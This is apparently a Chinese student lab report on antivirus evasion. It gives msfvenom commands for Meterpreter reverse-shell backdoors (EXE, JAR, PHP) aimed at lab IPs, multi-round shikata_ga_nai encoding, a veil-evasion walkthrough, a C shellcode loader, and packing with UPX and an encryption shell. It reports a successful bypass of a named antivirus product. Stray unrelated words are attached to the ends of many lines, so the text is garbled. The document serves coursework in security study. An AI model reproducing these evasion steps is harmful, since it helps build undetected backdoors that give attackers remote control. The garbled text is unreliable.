基礎問題回答php
一、殺軟是如何檢測出惡意代碼的?java
(1)基於特徵碼的檢測shell
特徵碼是能識別一個程序是一個病毒的一段不大於64字節的特徵串。若是一個可執行文件包含這樣的特徵碼則被殺毒軟件檢測爲是惡意代碼。編程
優勢:檢測效率高、能精確檢測惡意軟件類型和具體名稱。windows
缺點:滯後性,不能檢測不在特徵庫和變形的惡意軟件,需頻繁更新特徵庫。安全
(2)啓發式惡意軟件檢測網絡
通常在缺少精確斷定依據時,根據些片面特徵去推斷是否爲惡意軟件,好比若是一個軟件在幹一般是惡意軟件乾的事,看起來像個惡意軟件,那就把它當成一個惡意軟件。tcp
優勢:能夠檢測0-day惡意軟件(0day是反盜版的打擊對象,指在安全補丁發佈前被瞭解和掌握的漏洞信息),具備必定通用性工具
缺點:實時監控系統行爲,開銷稍多,沒有基於特徵碼的精確度高網站
(3)基於行爲的惡意軟件檢測
基於行爲的檢測至關因而啓發式的一種,或者是加入了行爲監控的啓發式。
優勢:可發現未知病毒、可至關準確地預報未知的多數病毒。
缺點:可能誤報、不能識別病毒名稱、實現時有必定難度。
二、免殺是作什麼?
即反殺毒技術,是一種能使病毒木馬避免被殺毒軟件查殺的技術。
三、免殺的基本方法有哪些?
1)變形特徵碼:
(2)改變明目張膽的行爲:
改變通信方式
1. 實踐內容
1.1 正確使用msf編碼器(0.5分),msfvenom生成如jar之類的其餘文件(0.5分),veil-evasion(0.5分),加殼工具(0.5分),使用shellcode編程(1分)
1.1.1 使用msf生成了後門程序,使用VirusTotal或Virscan這兩個網站對生成的後門程序進行掃描。
掃描結果以下圖 :
能夠看出不加任何處理的後門程序可以被大多數殺軟檢測到,下面咱們用msf編碼器對後門程序進行一次到屢次的編碼,並進行檢測。
一次編碼使用命令: -e 選擇編碼器,-b
是payload中須要去除的字符,該命令中爲了使'\x00'不出如今shellcode中,由於shellcode以'\x00'爲結束符
-i
設置迭代次數msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.208.129 LPORT=5318 -f exe > met-encoded10.exe
將編碼十次後的可執行文件上傳到VirusTotal掃描後結果以下:
可見屢次編碼對免殺沒有太大的效果.
1.1.2. msfvenom生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 x> sxx_backdoor_java.jar
生成文件以下所示:
使用Virscan這兩個網站對生成的後門程序進行掃描結果以下:
msfvenom生成jar文件沒有發現病毒,我以爲很神奇。我也不知道爲何。。。。
3. msfvenom生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 x> 20165318_backdoor.php
生成文件以下所示:
掃面結果以下圖:
一樣,msfvenom生成php文件 也不報毒。
4. 使用veil-evasion生成後門程序及檢測
安裝veil(參考學姐的)
輸入veil
指令;
用use evasion
命令進入Evil-Evasion;
輸入命令use c/meterpreter/rev_tcp.py
進入配置界面,以下圖;
設置反彈鏈接IP,命令爲:set LHOST 192.168.33.132
,注意此處的IP是KaliIP;
設置端口,命令爲:set LPORT 4322
輸入generate
生成文件,接着輸入你想要playload的名字:veil_c_4322
如上圖所示,保存路徑爲
/var/lib/veil/output/compiled/veil_c_4322.exe
檢測一下:
5. 半手工注入Shellcode並執行
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.33.132 LPORT=4322 -f c
用c語言生成一段shellcode;
.exe
,而後將unsigned char buf[]
賦值到其中,代碼以下:unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" 此處省略 "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main() { int (*func)() = (int(*)())buf; func(); }
掃描可執行文件結果以下:
使用壓縮殼(UPX)
給以前的hyt.exe加個殼獲得sxx_upxed.exe:
對該可執行文件進行掃描,結果以下:
依然會被查殺。。。。
1.2 經過組合應用各類技術實現惡意代碼免殺(0.5分)
經過組合應用各類技術實現惡意代碼免殺
發現電腦管家並無查殺到該可執行文件。。。。免殺成功!
(首先用msf生成可執行後門程序,再使用加密殼、壓縮殼實現了免殺。)
1.3 用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本(加分0.5)
注意:因爲換了網絡,IP地址會發生變化,全部的程序都須要從新生成
實驗環境:騰訊電腦管家13.3.20237.212.
2.實踐總結與體會
2.1實驗總結
從實驗中知道了仍是不能太依賴殺軟。加殼基本上沒什麼用,使用veil-evasion將payload從新編譯還能夠,經過本次實驗仍是以爲360殺毒軟件比較厲害。
2.2開啓殺軟能絕對防止電腦中惡意代碼嗎?
不能絕對防止電腦中惡意代碼,可是大部分仍是能夠被查殺。